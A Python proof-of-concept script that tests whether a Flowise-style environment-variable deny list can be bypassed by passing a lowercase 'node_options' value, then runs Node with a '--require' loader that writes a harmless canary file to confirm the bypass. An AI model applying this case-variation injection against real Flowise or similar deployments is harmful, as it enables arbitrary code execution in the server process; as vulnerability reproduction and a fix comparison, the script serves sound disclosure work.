102 lines
3.6 KiB
Python
102 lines
3.6 KiB
Python
import argparse
|
|
import json
|
|
import os
|
|
import pathlib
|
|
import platform
|
|
import shutil
|
|
import subprocess
|
|
import sys
|
|
import tempfile
|
|
|
|
|
|
def flowise_style_validate(env):
|
|
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
|
|
for key, value in env.items():
|
|
if key in dangerous:
|
|
raise ValueError(f"Environment variable {key!r} modification is not allowed")
|
|
if "\x00" in key or "\x00" in str(value):
|
|
raise ValueError("Environment variables cannot contain null bytes")
|
|
|
|
|
|
def normalized_validate(env):
|
|
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
|
|
for key, value in env.items():
|
|
if key.upper() in dangerous:
|
|
raise ValueError(f"Environment variable {key!r} modification is not allowed")
|
|
if "\x00" in key or "\x00" in str(value):
|
|
raise ValueError("Environment variables cannot contain null bytes")
|
|
|
|
|
|
def run_node_canary(marker):
|
|
node = shutil.which("node")
|
|
if not node:
|
|
return {"node_found": False, "canary_created": False}
|
|
marker_path = pathlib.Path(marker).resolve()
|
|
loader_path = marker_path.with_suffix(".loader.js")
|
|
loader_path.write_text(
|
|
"require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored')\n",
|
|
encoding="utf-8",
|
|
)
|
|
env = os.environ.copy()
|
|
env.pop("NODE_OPTIONS", None)
|
|
env.pop("node_options", None)
|
|
env["node_options"] = f"--require {loader_path}"
|
|
env["FLOWISE_POC_MARKER"] = str(marker_path)
|
|
if marker_path.exists():
|
|
marker_path.unlink()
|
|
completed = subprocess.run([node, "-e", "process.exit(0)"], env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
|
return {
|
|
"node_found": True,
|
|
"node": node,
|
|
"returncode": completed.returncode,
|
|
"stderr": completed.stderr.strip(),
|
|
"marker": str(marker_path),
|
|
"canary_created": marker_path.exists(),
|
|
"canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
|
|
}
|
|
|
|
|
|
def run(marker):
|
|
exact_upper_blocked = False
|
|
exact_upper_error = ""
|
|
lower_variant_accepted = False
|
|
normalized_blocks_lower = False
|
|
try:
|
|
flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
|
|
except ValueError as exc:
|
|
exact_upper_blocked = True
|
|
exact_upper_error = str(exc)
|
|
try:
|
|
flowise_style_validate({"node_options": "--require accepted.js"})
|
|
lower_variant_accepted = True
|
|
except ValueError:
|
|
lower_variant_accepted = False
|
|
try:
|
|
normalized_validate({"node_options": "--require accepted.js"})
|
|
except ValueError:
|
|
normalized_blocks_lower = True
|
|
node_result = run_node_canary(marker)
|
|
result = {
|
|
"platform": platform.platform(),
|
|
"windows": os.name == "nt",
|
|
"flowise_style_exact_upper_blocked": exact_upper_blocked,
|
|
"flowise_style_exact_upper_error": exact_upper_error,
|
|
"flowise_style_lower_variant_accepted": lower_variant_accepted,
|
|
"normalized_validator_blocks_lower_variant": normalized_blocks_lower,
|
|
"node_canary": node_result,
|
|
"finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
|
|
}
|
|
print(json.dumps(result, indent=2))
|
|
return 0 if result["finding_reproduced"] else 1
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
|
|
args = parser.parse_args()
|
|
raise SystemExit(run(args.marker))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|